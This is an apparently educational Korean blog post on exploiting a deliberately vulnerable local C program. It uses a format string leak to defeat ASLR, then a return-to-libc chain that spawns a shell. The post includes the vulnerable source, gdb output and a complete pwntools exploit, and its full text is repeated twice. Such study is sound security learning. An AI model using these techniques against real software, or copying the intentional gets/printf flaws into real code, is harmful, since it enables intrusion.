뇌
바이너리 분석 3 - FSB, RTL ( NX-bit, ALSR bypass ) 본문
[코드]
// gcc -o test code.c -fno-stack-protector -z norelro
#include <stdio.h>
void setup()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int main(void)
{
setup();
char buf[0x100];
printf("What's your name? : ");
gets(buf); // Buffer Overflow 1
printf("Hello, ");
printf(buf); // Format String Bug
printf("!!!\n");
printf("Last greeting : ");
gets(buf); // Buffer Overflow 2
return 0;
}
이전 글( https://disso1p1.tistory.com/40 ) 의 코드와 같지만 ALSR 기법을 적용시켰다.
ALSR 기법을 적용시키면 전과 달리 libc 에 있는 주소를 leak 해야 한다.
libc 에 있는 주소를 leak 하면 같은 libc 는 모두 같은 offset 을 갖기 때문에 libc base 주소를 찾을 수 있고, 찾은 libc base 주소로 libc 에 있는 모든 것을 사용할 수 있게 된다.
leak 할 방법은 여러가지 있지만, 이 코드에서는 FSB 가 발생하기 때문에 FSB 을 이용해 주소를 leak 할 수 있다.
1. 첫번째 gets() 함수에 포맷스트링을 적절히 사용해 return address 를 leak 한다.
2. leak 한 주소로 libc base 주소를 구하고, system() 함수의 주소와 libc 내부에 있는 문자열 "/bin/sh" 의 주소를 구한다.
3. 두번째 gets() 함수에서 2번에서 구한 주소들로 RTL 기법을 사용하여 system("/bin/sh"); 을 실행한다.\
1. 포맷스트링 적절히 사용하기
What's your name? : aaaaaaaa.%p.%p.%p.%p.%p.%p.%p
Hello, aaaaaaaa.0x7fff62c7cbd0.0x7f4af9bc1780.0x7f4af98f2380.0x7f4af9dcd700.0x7.0x6161616161616161.0x252e70252e70252e!!!
Last greeting :
Format string 을 사용하면 6번째 인자에 우리가 입력한 aaaaaaaa(0x6161616161616161) 이 나온 것을 알 수 있다.
즉, 6번째 인자부터 buf 시작 주소임을 알 수 있다.
extra - 0x6161616161616161 앞에 나온 더미 값은 어디서 나온걸까 ?
디버깅을 해보면,
gdb-peda$ r
Starting program: /home/disso1p1/Desktop/layer7/aslr/test
What's your name? : aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p
Hello,
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b04380 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x7fffffffb4b0 ("Hello, your name? : ")
RDI: 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
RBP: 0x7fffffffdc40 --> 0x400780 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
RIP: 0x40073d (<main+86>: call 0x400540 <printf@plt>)
R8 : 0x7ffff7fda700 (0x00007ffff7fda700)
R9 : 0x7
R10: 0x57 ('W')
R11: 0x246
R12: 0x400590 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdd20 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40072e <main+71>: lea rax,[rbp-0x100]
0x400735 <main+78>: mov rdi,rax
0x400738 <main+81>: mov eax,0x0
=> 0x40073d <main+86>: call 0x400540 <printf@plt>
0x400742 <main+91>: mov edi,0x400821
0x400747 <main+96>: call 0x400530 <puts@plt>
0x40074c <main+101>: mov edi,0x400825
0x400751 <main+106>: mov eax,0x0
Guessed arguments:
arg[0]: 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
0008| 0x7fffffffdb48 (".%p.%p.%p.%p.%p.%p.%p.%p")
0016| 0x7fffffffdb50 ("p.%p.%p.%p.%p.%p")
0024| 0x7fffffffdb58 ("%p.%p.%p")
0032| 0x7fffffffdb60 --> 0x0
0040| 0x7fffffffdb68 --> 0x0
0048| 0x7fffffffdb70 --> 0x0
0056| 0x7fffffffdb78 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x000000000040073d in main ()
gdb-peda$ ni
aaaaaaaa.0x7fffffffb4b0.0x7ffff7dd3780.0x7ffff7b04380.0x7ffff7fda700.0x7.0x6161616161616161.0x252e70252e70252e.0x2e70252e70252e70
[----------------------------------registers-----------------------------------]
RAX: 0x81
RBX: 0x0
RCX: 0x7ffff7b04380 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x7fffffffb4b0 ("aaaaaaaa.0x7fffffffb4b0.0x7ffff7dd3780.0x7ffff7b04380.0x7ffff7fda700.0x7.0x6161616161616161.0x252e70252e70252e.0x2e70252e70252e70")
RDI: 0x1
RBP: 0x7fffffffdc40 --> 0x400780 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
RIP: 0x400742 (<main+91>: mov edi,0x400821)
R8 : 0x7ffff7fda700 (0x00007ffff7fda700)
R9 : 0x81
R10: 0x0
R11: 0x246
R12: 0x400590 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdd20 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400735 <main+78>: mov rdi,rax
0x400738 <main+81>: mov eax,0x0
0x40073d <main+86>: call 0x400540 <printf@plt>
=> 0x400742 <main+91>: mov edi,0x400821
0x400747 <main+96>: call 0x400530 <puts@plt>
0x40074c <main+101>: mov edi,0x400825
0x400751 <main+106>: mov eax,0x0
0x400756 <main+111>: call 0x400540 <printf@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
0008| 0x7fffffffdb48 (".%p.%p.%p.%p.%p.%p.%p.%p")
0016| 0x7fffffffdb50 ("p.%p.%p.%p.%p.%p")
0024| 0x7fffffffdb58 ("%p.%p.%p")
0032| 0x7fffffffdb60 --> 0x0
0040| 0x7fffffffdb68 --> 0x0
0048| 0x7fffffffdb70 --> 0x0
0056| 0x7fffffffdb78 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400742 in main ()
gdb-peda$
각각 rsi, rdx, rcx, r8, r9, stack 의 값이 출력되는 것을 알 수 있다.
64bit 의 인자 대로 출력되는 것이다.
rdi 는 첫번째 인자인 buf 에 있는 문자열이 되겠다.
다시 본론으로 돌아가서,
gdb-peda$ x/40gx $rbp-0x100
0x7fffffffdb40: 0x6161616161616161 0x800000702436252e
0x7fffffffdb50: 0x0000000000000000 0x0000000000000000
0x7fffffffdb60: 0x0000000000000000 0x0000000000000000
0x7fffffffdb70: 0x0000000000000000 0x0000000000000000
0x7fffffffdb80: 0x00007fffffffdb01 0x000004ded88e6df8
0x7fffffffdb90: 0x0000000000000000 0x0000000000000000
0x7fffffffdba0: 0x0000000000000000 0x0000000000000000
0x7fffffffdbb0: 0x0000000000000000 0x0000000000000000
0x7fffffffdbc0: 0x00007fffffffdd38 0x0000000000000000
0x7fffffffdbd0: 0x0000000000000001 0x00007fffffffdd38
0x7fffffffdbe0: 0x0000000000000001 0x00007fffffffdc60
0x7fffffffdbf0: 0x00007ffff7ffe168 0x0000000000f0b5ff
0x7fffffffdc00: 0x0000000000000001 0x00000000004007cd
0x7fffffffdc10: 0x00007fffffffdc3e 0x0000000000000000
0x7fffffffdc20: 0x0000000000400780 0x0000000000400590
0x7fffffffdc30: 0x00007fffffffdd20 0x0000000000000000
0x7fffffffdc40: 0x0000000000400780 0x00007ffff7a2d840
0x7fffffffdc50: 0x0000000000000001 0x00007fffffffdd28
0x7fffffffdc60: 0x00000001f7ffcca0 0x00000000004006e7
0x7fffffffdc70: 0x0000000000000000 0xd13079565e7cd618
gdb-peda$
포맷스트링을 사용할 때 유용한 것 : %n$p <- n 번째를 인자로 한다.
rbp - 0x100 이 buf 의 시작주소이므로 return address ( rbp + 0x8 ) 는 %p 가 8bytes 씩이므로 0x110 / 8 인 34 에 아까 앞에 출력된 레지스터 값 5번 을 더하면, 34 + 5 = 39 가 나온다.
즉, %39$p 를 하면 return address 를 leak 해준다.
2. leak 한 주소로 나머지 주소 구하기.
gdb-peda$ r
Starting program: /home/disso1p1/Desktop/layer7/aslr/test
What's your name? : %39$p
Hello, 0x7ffff7a2d840
[----------------------------------registers-----------------------------------]
RAX: 0xe
RBX: 0x0
RCX: 0x7ffff7b04380 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x7fffffffb4b0 ("0x7ffff7a2d840me? : ")
RDI: 0x1
RBP: 0x7fffffffdc40 --> 0x400780 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffdb40 --> 0x7024393325 ('%39$p')
RIP: 0x400742 (<main+91>: mov edi,0x400821)
R8 : 0x7ffff7fda700 (0x00007ffff7fda700)
R9 : 0xe
R10: 0x78 ('x')
R11: 0x246
R12: 0x400590 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdd20 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400735 <main+78>: mov rdi,rax
0x400738 <main+81>: mov eax,0x0
0x40073d <main+86>: call 0x400540 <printf@plt>
=> 0x400742 <main+91>: mov edi,0x400821
0x400747 <main+96>: call 0x400530 <puts@plt>
0x40074c <main+101>: mov edi,0x400825
0x400751 <main+106>: mov eax,0x0
0x400756 <main+111>: call 0x400540 <printf@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdb40 --> 0x7024393325 ('%39$p')
0008| 0x7fffffffdb48 --> 0x800000000000000e
0016| 0x7fffffffdb50 --> 0x0
0024| 0x7fffffffdb58 --> 0x0
0032| 0x7fffffffdb60 --> 0x0
0040| 0x7fffffffdb68 --> 0x0
0048| 0x7fffffffdb70 --> 0x0
0056| 0x7fffffffdb78 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x0000000000400742 in main ()
gdb-peda$ x/x 0x7ffff7a2d840
0x7ffff7a2d840 <__libc_start_main+240>: 0x31000197f9e8c789
gdb-peda$
return address 인 0x7ffff7a2d840 은 __libc_start_main+240 이다.
__libc_start_main 은 libc 내부에 있는 함수이다.
즉, leak 한 return address 에서 (__libc_start_main 의 offset 값 + 240) 을 빼면 libc base 가 나온다.
구한 libc base 로 system() 함수의 offset 값을 더한 주소가 system() 함수의 실제 주소일 것이고, "/bin/sh" 도 마찬가지 이다.
offset 값은 pwntools 로 쉽게 구할 수 있다.
[exploit]
from pwn import *
p = process('./test')
e = ELF('./test')
libc = e.libc
p.sendlineafter(': ', '%39$p')
p.recvuntil('Hello, ')
leak = int(p.recv(14), 16) - (libc.symbols["__libc_start_main"] + 240)
system = leak + libc.symbols['system']
binsh = leak + list(libc.search('/bin/sh'))[0]
prdi = 0x00000000004007e3
log.info("libc base : " + hex(leak))
log.info("system : " + hex(system))
log.info("/bin/sh : " + hex(binsh))
pay = ''
pay += 'A'*0x108
pay += p64(prdi)
pay += p64(binsh)
pay += p64(system)
pause()
p.sendlineafter(': ', pay)
p.interactive()
>,,<
[코드]
// gcc -o test code.c -fno-stack-protector -z norelro
#include <stdio.h>
void setup()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int main(void)
{
setup();
char buf[0x100];
printf("What's your name? : ");
gets(buf); // Buffer Overflow 1
printf("Hello, ");
printf(buf); // Format String Bug
printf("!!!\n");
printf("Last greeting : ");
gets(buf); // Buffer Overflow 2
return 0;
}
이전 글( https://disso1p1.tistory.com/40 ) 의 코드와 같지만 ALSR 기법을 적용시켰다.
ALSR 기법을 적용시키면 전과 달리 libc 에 있는 주소를 leak 해야 한다.
libc 에 있는 주소를 leak 하면 같은 libc 는 모두 같은 offset 을 갖기 때문에 libc base 주소를 찾을 수 있고, 찾은 libc base 주소로 libc 에 있는 모든 것을 사용할 수 있게 된다.
leak 할 방법은 여러가지 있지만, 이 코드에서는 FSB 가 발생하기 때문에 FSB 을 이용해 주소를 leak 할 수 있다.
1. 첫번째 gets() 함수에 포맷스트링을 적절히 사용해 return address 를 leak 한다.
2. leak 한 주소로 libc base 주소를 구하고, system() 함수의 주소와 libc 내부에 있는 문자열 "/bin/sh" 의 주소를 구한다.
3. 두번째 gets() 함수에서 2번에서 구한 주소들로 RTL 기법을 사용하여 system("/bin/sh"); 을 실행한다.\
1. 포맷스트링 적절히 사용하기
What's your name? : aaaaaaaa.%p.%p.%p.%p.%p.%p.%p
Hello, aaaaaaaa.0x7fff62c7cbd0.0x7f4af9bc1780.0x7f4af98f2380.0x7f4af9dcd700.0x7.0x6161616161616161.0x252e70252e70252e!!!
Last greeting :
Format string 을 사용하면 6번째 인자에 우리가 입력한 aaaaaaaa(0x6161616161616161) 이 나온 것을 알 수 있다.
즉, 6번째 인자부터 buf 시작 주소임을 알 수 있다.
extra - 0x6161616161616161 앞에 나온 더미 값은 어디서 나온걸까 ?
디버깅을 해보면,
gdb-peda$ r
Starting program: /home/disso1p1/Desktop/layer7/aslr/test
What's your name? : aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p
Hello,
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b04380 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x7fffffffb4b0 ("Hello, your name? : ")
RDI: 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
RBP: 0x7fffffffdc40 --> 0x400780 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
RIP: 0x40073d (<main+86>: call 0x400540 <printf@plt>)
R8 : 0x7ffff7fda700 (0x00007ffff7fda700)
R9 : 0x7
R10: 0x57 ('W')
R11: 0x246
R12: 0x400590 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdd20 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40072e <main+71>: lea rax,[rbp-0x100]
0x400735 <main+78>: mov rdi,rax
0x400738 <main+81>: mov eax,0x0
=> 0x40073d <main+86>: call 0x400540 <printf@plt>
0x400742 <main+91>: mov edi,0x400821
0x400747 <main+96>: call 0x400530 <puts@plt>
0x40074c <main+101>: mov edi,0x400825
0x400751 <main+106>: mov eax,0x0
Guessed arguments:
arg[0]: 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
0008| 0x7fffffffdb48 (".%p.%p.%p.%p.%p.%p.%p.%p")
0016| 0x7fffffffdb50 ("p.%p.%p.%p.%p.%p")
0024| 0x7fffffffdb58 ("%p.%p.%p")
0032| 0x7fffffffdb60 --> 0x0
0040| 0x7fffffffdb68 --> 0x0
0048| 0x7fffffffdb70 --> 0x0
0056| 0x7fffffffdb78 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x000000000040073d in main ()
gdb-peda$ ni
aaaaaaaa.0x7fffffffb4b0.0x7ffff7dd3780.0x7ffff7b04380.0x7ffff7fda700.0x7.0x6161616161616161.0x252e70252e70252e.0x2e70252e70252e70
[----------------------------------registers-----------------------------------]
RAX: 0x81
RBX: 0x0
RCX: 0x7ffff7b04380 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x7fffffffb4b0 ("aaaaaaaa.0x7fffffffb4b0.0x7ffff7dd3780.0x7ffff7b04380.0x7ffff7fda700.0x7.0x6161616161616161.0x252e70252e70252e.0x2e70252e70252e70")
RDI: 0x1
RBP: 0x7fffffffdc40 --> 0x400780 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
RIP: 0x400742 (<main+91>: mov edi,0x400821)
R8 : 0x7ffff7fda700 (0x00007ffff7fda700)
R9 : 0x81
R10: 0x0
R11: 0x246
R12: 0x400590 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdd20 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400735 <main+78>: mov rdi,rax
0x400738 <main+81>: mov eax,0x0
0x40073d <main+86>: call 0x400540 <printf@plt>
=> 0x400742 <main+91>: mov edi,0x400821
0x400747 <main+96>: call 0x400530 <puts@plt>
0x40074c <main+101>: mov edi,0x400825
0x400751 <main+106>: mov eax,0x0
0x400756 <main+111>: call 0x400540 <printf@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
0008| 0x7fffffffdb48 (".%p.%p.%p.%p.%p.%p.%p.%p")
0016| 0x7fffffffdb50 ("p.%p.%p.%p.%p.%p")
0024| 0x7fffffffdb58 ("%p.%p.%p")
0032| 0x7fffffffdb60 --> 0x0
0040| 0x7fffffffdb68 --> 0x0
0048| 0x7fffffffdb70 --> 0x0
0056| 0x7fffffffdb78 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400742 in main ()
gdb-peda$
각각 rsi, rdx, rcx, r8, r9, stack 의 값이 출력되는 것을 알 수 있다.
64bit 의 인자 대로 출력되는 것이다.
rdi 는 첫번째 인자인 buf 에 있는 문자열이 되겠다.
다시 본론으로 돌아가서,
gdb-peda$ x/40gx $rbp-0x100
0x7fffffffdb40: 0x6161616161616161 0x800000702436252e
0x7fffffffdb50: 0x0000000000000000 0x0000000000000000
0x7fffffffdb60: 0x0000000000000000 0x0000000000000000
0x7fffffffdb70: 0x0000000000000000 0x0000000000000000
0x7fffffffdb80: 0x00007fffffffdb01 0x000004ded88e6df8
0x7fffffffdb90: 0x0000000000000000 0x0000000000000000
0x7fffffffdba0: 0x0000000000000000 0x0000000000000000
0x7fffffffdbb0: 0x0000000000000000 0x0000000000000000
0x7fffffffdbc0: 0x00007fffffffdd38 0x0000000000000000
0x7fffffffdbd0: 0x0000000000000001 0x00007fffffffdd38
0x7fffffffdbe0: 0x0000000000000001 0x00007fffffffdc60
0x7fffffffdbf0: 0x00007ffff7ffe168 0x0000000000f0b5ff
0x7fffffffdc00: 0x0000000000000001 0x00000000004007cd
0x7fffffffdc10: 0x00007fffffffdc3e 0x0000000000000000
0x7fffffffdc20: 0x0000000000400780 0x0000000000400590
0x7fffffffdc30: 0x00007fffffffdd20 0x0000000000000000
0x7fffffffdc40: 0x0000000000400780 0x00007ffff7a2d840
0x7fffffffdc50: 0x0000000000000001 0x00007fffffffdd28
0x7fffffffdc60: 0x00000001f7ffcca0 0x00000000004006e7
0x7fffffffdc70: 0x0000000000000000 0xd13079565e7cd618
gdb-peda$
포맷스트링을 사용할 때 유용한 것 : %n$p <- n 번째를 인자로 한다.
rbp - 0x100 이 buf 의 시작주소이므로 return address ( rbp + 0x8 ) 는 %p 가 8bytes 씩이므로 0x110 / 8 인 34 에 아까 앞에 출력된 레지스터 값 5번 을 더하면, 34 + 5 = 39 가 나온다.
즉, %39$p 를 하면 return address 를 leak 해준다.
2. leak 한 주소로 나머지 주소 구하기.
gdb-peda$ r
Starting program: /home/disso1p1/Desktop/layer7/aslr/test
What's your name? : %39$p
Hello, 0x7ffff7a2d840
[----------------------------------registers-----------------------------------]
RAX: 0xe
RBX: 0x0
RCX: 0x7ffff7b04380 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x7fffffffb4b0 ("0x7ffff7a2d840me? : ")
RDI: 0x1
RBP: 0x7fffffffdc40 --> 0x400780 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffdb40 --> 0x7024393325 ('%39$p')
RIP: 0x400742 (<main+91>: mov edi,0x400821)
R8 : 0x7ffff7fda700 (0x00007ffff7fda700)
R9 : 0xe
R10: 0x78 ('x')
R11: 0x246
R12: 0x400590 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdd20 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400735 <main+78>: mov rdi,rax
0x400738 <main+81>: mov eax,0x0
0x40073d <main+86>: call 0x400540 <printf@plt>
=> 0x400742 <main+91>: mov edi,0x400821
0x400747 <main+96>: call 0x400530 <puts@plt>
0x40074c <main+101>: mov edi,0x400825
0x400751 <main+106>: mov eax,0x0
0x400756 <main+111>: call 0x400540 <printf@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdb40 --> 0x7024393325 ('%39$p')
0008| 0x7fffffffdb48 --> 0x800000000000000e
0016| 0x7fffffffdb50 --> 0x0
0024| 0x7fffffffdb58 --> 0x0
0032| 0x7fffffffdb60 --> 0x0
0040| 0x7fffffffdb68 --> 0x0
0048| 0x7fffffffdb70 --> 0x0
0056| 0x7fffffffdb78 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x0000000000400742 in main ()
gdb-peda$ x/x 0x7ffff7a2d840
0x7ffff7a2d840 <__libc_start_main+240>: 0x31000197f9e8c789
gdb-peda$
return address 인 0x7ffff7a2d840 은 __libc_start_main+240 이다.
__libc_start_main 은 libc 내부에 있는 함수이다.
즉, leak 한 return address 에서 (__libc_start_main 의 offset 값 + 240) 을 빼면 libc base 가 나온다.
구한 libc base 로 system() 함수의 offset 값을 더한 주소가 system() 함수의 실제 주소일 것이고, "/bin/sh" 도 마찬가지 이다.
offset 값은 pwntools 로 쉽게 구할 수 있다.
[exploit]
from pwn import *
p = process('./test')
e = ELF('./test')
libc = e.libc
p.sendlineafter(': ', '%39$p')
p.recvuntil('Hello, ')
leak = int(p.recv(14), 16) - (libc.symbols["__libc_start_main"] + 240)
system = leak + libc.symbols['system']
binsh = leak + list(libc.search('/bin/sh'))[0]
prdi = 0x00000000004007e3
log.info("libc base : " + hex(leak))
log.info("system : " + hex(system))
log.info("/bin/sh : " + hex(binsh))
pay = ''
pay += 'A'*0x108
pay += p64(prdi)
pay += p64(binsh)
pay += p64(system)
pause()
p.sendlineafter(': ', pay)
p.interactive()
>,,<